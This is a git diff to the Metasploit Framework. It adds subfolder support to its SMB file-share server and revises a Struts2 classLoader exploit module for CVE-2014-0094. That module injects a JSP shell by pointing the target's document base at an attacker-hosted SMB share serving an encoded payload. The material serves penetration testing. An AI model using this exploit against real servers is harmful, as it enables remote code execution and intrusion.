diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb index a014f8911ffd..b23c0ebdac56 100644 --- a/lib/msf/core/exploit/smb/server/share.rb +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -175,10 +175,9 @@ module Share # @!attribute share # @return [String] The share portion of the provided UNC. attr_accessor :share - # @!attribute path_name + # @!attribute folder_name # @return [String] The folder where the provided file lives. - # @note UNSUPPORTED - attr_accessor :path_name + attr_accessor :folder_name # @!attribute file_name # @return [String] The file name of the provided UNC. attr_accessor :file_name @@ -199,6 +198,7 @@ def initialize(info = {}) [ OptString.new('SHARE', [ false, 'Share (Default Random)']), OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), + OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']), OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) ], Msf::Exploit::Remote::SMB::Server::Share) end @@ -207,7 +207,7 @@ def initialize(info = {}) def setup super - self.path_name = '\\' # TODO: Add subdirectories support + self.folder_name = datastore['FOLDER_NAME'] self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) @@ -224,7 +224,13 @@ def setup # Builds the UNC Name for the shared file def unc - "\\\\#{srvhost}\\#{share}\\#{file_name}" + if folder_name + path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}" + else + path = "\\\\#{srvhost}\\#{share}\\#{file_name}" + end + + path end # Builds the server address. diff --git a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb index 0d4de63fdbdd..a21828cffa82 100644 --- a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb +++ b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb @@ -32,7 +32,12 @@ def smb_cmd_nt_create_andx(c, buff) attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL eof = file_contents.length is_dir = 0 - elsif payload.eql?(path_name.downcase) + elsif folder_name && payload.ends_with?(folder_name.downcase) + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + elsif payload == "\\" fid = smb[:dir_id].to_i attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY eof = 0 diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2.rb index 09bb38d1523e..5168c4cfe01e 100644 --- a/lib/msf/core/exploit/smb/server/share/command/trans2.rb +++ b/lib/msf/core/exploit/smb/server/share/command/trans2.rb @@ -87,8 +87,8 @@ def normalize_path(path) def smb_expand(path) search_path = path.gsub(/<\./, '*.') # manage wildcards extension = File.extname(file_name) - if search_path == "#{path_name}*#{extension}" - search_path = "#{path_name}#{file_name}" + if search_path =~ /\\\*#{extension}$/ + search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}") end search_path diff --git a/lib/msf/core/exploit/smb/server/share/information_level/find.rb b/lib/msf/core/exploit/smb/server/share/information_level/find.rb index 802c8866ba85..9537e3543251 100644 --- a/lib/msf/core/exploit/smb/server/share/information_level/find.rb +++ b/lib/msf/core/exploit/smb/server/share/information_level/find.rb @@ -21,8 +21,15 @@ def smb_cmd_find_file_both_directory_info(c, path) alloc = 1048576 # Allocation Size = 1048576 || 1Mb attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL search = 1 - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) length = 0 ea = 0x21 alloc = 0 # 0Mb @@ -52,8 +59,10 @@ def smb_cmd_find_file_both_directory_info(c, path) def smb_cmd_find_file_names_info(c, path) if path && path.include?(file_name.downcase) data = Rex::Text.to_unicode(file_name) - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) end @@ -68,6 +77,7 @@ def smb_cmd_find_file_names_info(c, path) # @param path [String] The path which the client is requesting info from. # @return [Fixnum] The number of bytes returned to the client as response. def smb_cmd_find_file_full_directory_info(c, path) + if path && path.include?(file_name.downcase) data = Rex::Text.to_unicode(file_name) length = file_contents.length @@ -75,8 +85,15 @@ def smb_cmd_find_file_full_directory_info(c, path) alloc = 1048576 # Allocation Size = 1048576 || 1Mb attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File search = 0x100 - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) length = 0 ea = 0x21 alloc = 0 # 0Mb diff --git a/lib/msf/core/exploit/smb/server/share/information_level/query.rb b/lib/msf/core/exploit/smb/server/share/information_level/query.rb index fe0c9b972ec5..726d7306b3fb 100644 --- a/lib/msf/core/exploit/smb/server/share/information_level/query.rb +++ b/lib/msf/core/exploit/smb/server/share/information_level/query.rb @@ -48,15 +48,12 @@ def smb_cmd_trans_query_file_info_standard(c, fid) # @param c [Socket] The client sending the request. # @param path [String] The path which the client is requesting info from. # @return [Fixnum] The number of bytes returned to the client as response. - # @todo Delete elsif comment if testing proofs it as unnecessary def smb_cmd_trans_query_path_info_basic(c, path) if path && path.ends_with?(file_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - #elsif path && path.ends_with?(file_name + '.Local') - #attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) @@ -74,9 +71,9 @@ def smb_cmd_trans_query_path_info_basic(c, path) def smb_cmd_trans_query_path_info_standard(c, path) if path && path.include?(file_name.downcase) attrib = 0 # File attributes => file - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = 1 # File attributes => directory - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = 1 # File attributes => directory else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) @@ -101,9 +98,9 @@ def smb_cmd_trans_query_path_info_network(c, path) if path && path.include?(file_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index e47f5de03090..e524c4a34bed 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -64,6 +64,7 @@ def initialize(info={}) OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) ], self.class) + deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/http/struts_http_jspinject.rb b/modules/exploits/windows/http/struts_http_jspinject.rb index fb01bf01f4f7..50583c4e53b2 100644 --- a/modules/exploits/windows/http/struts_http_jspinject.rb +++ b/modules/exploits/windows/http/struts_http_jspinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,84 +13,84 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'Struts JSP Injection over HTTP', + 'Name' => 'Struts JSP Injection Over HTTP', 'Description' => %q{ - This module exploits the classLoader Apache Struts2 - vulnerability to inject a JSP shell over SMB. + This module exploits the classLoader Apache Struts2 vulnerability + to inject a JSP shell over SMB. }, - 'Author' => [ - 'Matthew Hall ', - ], + 'Author' => + [ + 'Matthew Hall ' + ], 'DisclosureDate' => 'May 1 2014', - 'Platform' => 'win', - 'Privileged' => true, 'References' => [ - [ 'URL', 'http://www.sec-1.com/blog/'], - [ 'CVE', '2014-0094' ], + ['CVE', '2014-0094'] ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'false', + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true }, 'Privileged' => true, 'Arch' => ARCH_JAVA, - 'Platform' => [ 'win' ], + 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => - [ - [ 'Java Universal', - { - 'Arch' => ARCH_JAVA, - 'Platform' => ['win','linux'] - }, - ] - ], - 'DefaultTarget' => 0, - )) - register_options( [ - OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]), - OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']), - Opt::RPORT(8080) - ], self.class) - deregister_options('FILE_CONTENTS') + ['Java Universal', {}] + ], + 'DefaultTarget' => 0, + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']), + OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']), + OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']), + OptString.new('SHARE', [ true, 'Share', 'share']), + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]), + Opt::RPORT(8080) + ], self.class) + + deregister_options('FILE_CONTENTS') end def check uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x' res = send_request_raw({'uri'=>uri}) - if res and res.body =~ /No result defined for action/ + if res and res.body =~ /No result defined for action/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end - def primer - self.file_contents = payload.encoded + def primer + self.file_contents = payload.encoded print_status("File available on #{unc}...") - share = "#{unc}" - sploit = datastore['URI'] - share = share.gsub(/\\/, '/') - #sploit << '?class.classLoader.resources.dirContext.docBase=' + + sploit = target_uri.to_s sploit << '?Class.classLoader.resources.dirContext.docBase=' - #sploit << '?Class.classLoader.resources.context.effectiveMajorVersion=' - #sploit << "?class['classLoader']['resources']['dirContext']['docBase']=" - sploit << share + sploit << "\\\\#{srvhost}\\#{share}" print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}") - res = send_request_raw({ + send_request_raw({ 'method' => 'GET', 'uri' => sploit }, 30) + end - # Wait 30 seconds for session to be created - 1.upto(30) do - break if session_created? - sleep(1) + def exploit + begin + Timeout.timeout(datastore['SMB_DELAY']) {super} + rescue Timeout::Error + # do nothing... just finish exploit and stop smb server... end - disconnect end end diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index 55cd0236eca1..a2f4c18ba696 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -61,6 +61,7 @@ def initialize(info={}) OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) + deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') end diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index faba5c8d8080..b94ea5991834 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -79,7 +79,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 7d424ffd8924..31d24d80387d 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -67,7 +67,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index 254c73e82945..d8316a6e0be8 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -78,7 +78,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index a649c767745a..f4d861ee8b41 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -36,7 +36,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index 7b1e9f5a3e70..f161bd65dfca 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -35,7 +35,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 705b231c5a5e..462ecfba55e4 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -48,7 +48,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index cf8e910343af..0c14918510e4 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -78,7 +78,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index c5737a5714fd..2f36bdcaa7b4 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -84,7 +84,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' @@ -198,7 +197,7 @@ smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end @@ -263,7 +262,7 @@ smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end @@ -328,7 +327,7 @@ smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 4a2482eb9e17..049d13d122d1 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -79,7 +79,6 @@ mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit'